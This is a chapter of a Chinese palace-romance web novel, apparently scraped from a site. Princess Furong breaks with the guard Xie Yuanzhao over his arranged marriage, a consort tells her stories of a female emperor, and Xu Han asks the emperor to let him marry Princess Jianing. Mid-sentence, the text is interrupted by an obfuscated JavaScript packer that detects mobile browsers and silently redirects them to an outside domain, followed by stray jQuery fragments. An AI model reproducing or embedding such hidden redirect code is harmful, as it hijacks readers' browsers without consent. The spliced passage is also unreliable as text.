谁要嫁给谁?
芙蓉满脸的不可置信地看向谢元昭,谢元昭更是一脸懵。
二人完全不知道发生了什么。
谢元昭逼迫自己冷静下来,看向徐翰:“徐翰,这到底是怎么一回事?”
“你还好意思来问表兄。”嘉宁白了他一眼,“以为当上了御前侍卫就可以为所欲为,婉儿可是当储妃,岂是你个小小侍卫能惦记的,白日做梦呢!”
御前侍卫,徐谢两家联姻,储妃等词在芙蓉脑中不断交织。
所以,这就是他迟迟不肯去求父皇赐婚的原因吗?
权衡利弊之后,有了更好的选择,从一开始那个人就不会是她。
至始至终,都不是她。
徐翰淡淡道:“家父此前去看望令尊时,趁机一同商议了你和婉儿的婚事,此事令尊没告诉你吗?”
“这不是胡闹吗?”
谢元昭听得目瞪口呆,正欲同公主解释。还未来得及开口,她匆匆转身离开。
谢元昭当着四人的面,一字一句说道:“大可不必,我也不会娶你的!”
说完,他赶紧追上来,试图同公主解释清楚。
“公主,公主,你消消气,听我说……”谢元昭拦住他,“我真的不会娶徐婉,也不喜欢她。”
芙蓉眼眶湿润,指着前方,厉声:“那你现在就去求我父皇赐婚,立刻马上!”
谢元昭顿时焉了气:“我……”
“不去是吧?”芙蓉一把推开他,“那就别挡我的路,你我往后还是各走各的路。”
谢元昭在原地呆立片刻,望着她离去的背影,握紧拳头再次追了上来。
“公主,可否再等一等?”
芙蓉却越发愤怒:“等?等你把徐婉娶了,然后娶我做妾,还是继续忽悠我,诓骗我当你的外室。”
堂堂一国公主低声下气求他,实属罕见,还给他做妾,简直痴人说梦。
“不是不是。”谢元昭急忙辩解,“公主,我绝对没有这样的心思。”
芙蓉大步往回走,声音冰冷:“就我天真,还以为你是为了我才如此拼命当上御前侍卫,原来不是,是为了自己更好的攀附徐家。”
谢元昭快急哭了:“公主,我真的没有!”
“最后一次机会,你去还是不去?”
他站在原地不动,满眼无奈与不情愿。
结果显而易见,他不会去。
芙蓉苦笑道:“我平日里对你一片真心,没想到你竟如此对我,要怪就只能怪我又信错人了。”
说着,芙蓉气得双手握拳,用力推了他一把。
谢元昭本可以轻松躲开,但他不敢,被芙蓉推得差点摔倒在地。
“公主……”
“滚开!”芙蓉背对着他,喝道,“日后见了本公主,记得自己滚远些,要是碍着我的眼,你知道后果的。”
没有一丝眷恋,头也不回地回到宫中。
芙蓉将自己锁在偏殿一日一夜,不吃不喝,任何人都不见。
怎么敲门都不开门,连点声响都没有,此举可把陆山山吓坏了。
炸鸡可乐,薯条汉堡,准备了一份又一份,好话说尽就是不肯出来。
到了第二日,陆山山心急如焚,担心得不得了。
她果断下令:“来人,把门撞开。”
几个身强力壮的内侍领命,用力撞向那扇紧闭的门。
“哐当”一声,门被撞开了。
陆山山让其他人在门外候着,自己端着刚煮好鸡肉粥进殿。
芙蓉坐在床榻前的地上,埋头于膝,整个卷缩成小小的一团。
殿内的炭盆早已熄灭,刺骨的寒气从四面八方涌来,宛如冰窟。
陆山山快速放下吃食,从榻上拉来一床被子包裹住她。
“来人,赶紧烧炭盆和热水来。”
“是。”
陆山山掀开被子一角,挨着她坐下来,将她揽到怀里。
“又和那个小侍卫吵架了?”
芙蓉埋着脸,微微点了点头。
“那有什么好哭,一个有眼无珠的小侍卫而已。”陆山山柔声开解道,“你可是公主,天底下最不缺男人的人。”
芙蓉了听了这话,缓缓抬起头来,面容憔悴,双眼通红,声音沙哑得说不出话来。
这时,紫霞端着烧好的炭盆进来,倒了一杯温水递过来。
她咕噜咕噜几口喝光,干涩的喉咙舒服了不少。
“为了一个男人寻死觅活的,多不值当。”陆山山继续说道,“我平日里怎么教你的,你是一丁点都往心里去的,但凡听进去一句,今天都不会这样。”
芙蓉仔细回想贵妃曾说过的话:
——男人都没一个好东西,还不多赚些钱财来得实际。
——宁愿相信鬼说的话,也不要相信男人的任何一句话,他们都是在画饼。
——男人啊,看看就好。
……
诸如此类的话,贵妃反复唠叨,她听得耳朵都要起茧子了。
时至今日,她终于有所顿悟。
芙蓉沙哑声音,委屈道:“可……我好想他,好舍不得他。”
“旧的不去新的不来,新的永远是最好了的。”陆山山郑重地同她说,“与其死守那颗永远不会向着你的心,还不如选择那些本来就向着你的人。”
芙蓉缓缓道:“可是连父皇都不喜欢我,别人又怎么会喜欢我。”
陆山山啧道:“傻孩子,要那些人的心做什么,又不能当饭吃,唉!”
“除了他们,我也没有别的选择。”芙蓉皱眉道,“我要是男子就好了,那样我就是太子,什么都不用愁。”
提起太子,陆山山一脸鄙夷:“你看太子那个窝囊样,还是个妈宝,有什么可羡慕。”
妈宝就是对母亲十分依赖,言听计从的意思,贵妃先前同她解释了。
看贵妃嫌弃地表情便知道,不是什么好词。
芙蓉咳了两声:“可他还是太子,未来的天子,不是我们能比的。”
“他这个样子都能当皇上,你自然也当得。”陆山山脱口而出,“又不是当不了,想当就靠自己的努力去争取,去抢过来,抢到了不就是你的了。”
有志者事竟成。
芙蓉瞪大眼眼睛,诧异道:“娘娘可别胡说,自古以来,拿有女子当皇帝的道理。”
“那是你见识太少,不知道罢了。”陆山山站起身来,“想听一代女皇的故事的话,就先把粥了,我讲给你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919457|172380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听。”
殿内逐渐暖和起来,芙蓉麻木的双腿也重新有了知觉,在贵妃的搀扶下站起身来。
她一边搅着碗里的粥,一边听着贵妃讲的故事。
一字不漏地听完,芙蓉还是不信这是真实发生的事情。
不是过于铁宕起伏,而是匪夷所思,女人怎么能皇帝呢?
芙蓉打趣道:“没想到娘娘还挺会讲故事的,情节流畅程度堪比信手拈来。”
陆山山神气道:“我可没时间编故事给你听,这都是真实的历史事件。虽说没有公主称帝的史料记载,但你可以自己创造一个。”
“我才没有要当皇帝的意思呢。”
芙蓉心不在焉地喝着粥,盘算着接下来的路该如何打算。
还未过两天,宫中四处流传着,徐谢两家联姻在即的事情。以及谢元昭在御前求赵栩收回成命和徐婉以死相逼,不肯嫁与谢元昭一事。
这些都与她无关了。
芙蓉已经有了新的人选,新的计划,不再将全部希望寄托在男人的身上。
与之相比,她更关心嘉宁和徐翰的婚事,这才是头疼的事情。
这日,她从宫人口中得知徐家父子进宫的消息。
二话不说,便捎上贵妃吃剩的莲子糖水来到勤政殿。
在门口并没有见到谢元昭的身影,怕不是在家忙着操办婚事。
“嘉福来了,是不是贵妃又做了什么好吃的?”
赵栩见她来送给自己送吃的,立即笑容相迎。
芙蓉把糖水拿出来,递过去:“这次不是娘娘亲手做的,是芙蓉特意同娘娘学来的,父皇赶紧尝尝。”
“同素兰学的手艺,自然都不会差。”
赵栩迫不及待品尝起莲子糖水,一口接一口,根本停不下来。
“说实话,与素兰的手艺一模一样。”
芙蓉欣然点头,拿起墨块研磨:“听闻最近太子忙着找赈灾款的事情,我担心父皇一个人在此批阅奏折闷得慌,就想来陪您说说话。”
“还是你与素兰最得朕心。”赵栩喝着糖水,频频点头,“不像皇后,整日就知道同朕索要东西,还有嘉宁一天到晚就知道缠着徐翰那小子,没个正经。”
话音刚落,李总管前来禀报:“皇上,徐国公同徐大学士来了。”
“进来吧。”
芙蓉在一旁专心致志研磨,顺便留下旁听。赵栩没让她走,便说明今日之事与朝堂政事无关。
“参加陛下。”
“参见陛下。”
赵栩正襟危坐:“不必多礼,鲜少看见你们父子俩一同前来,不知所谓何事?”
徐翰搀扶着徐国公起身,看了一眼父亲后,又跪了下来。
“臣倾慕嘉宁公主良久,特来祈求陛下赐婚。”徐翰铿锵有力道,“准许微臣求娶嘉宁公主为妻。”
赵栩微微一怔,放下手里毛笔,瞥了一眼旁边的芙蓉。
“国舅的意思呢?”赵栩问道,“可有什么异议?”
徐国公作揖道:“臣无异议,犬子若能娶得大公主,是徐家的满门荣耀。”
此刻,芙蓉手心全是冷汗,窒息的气息扑面而来,有一搭没一搭地艰难喘气。
死脑子,快些想法子啊!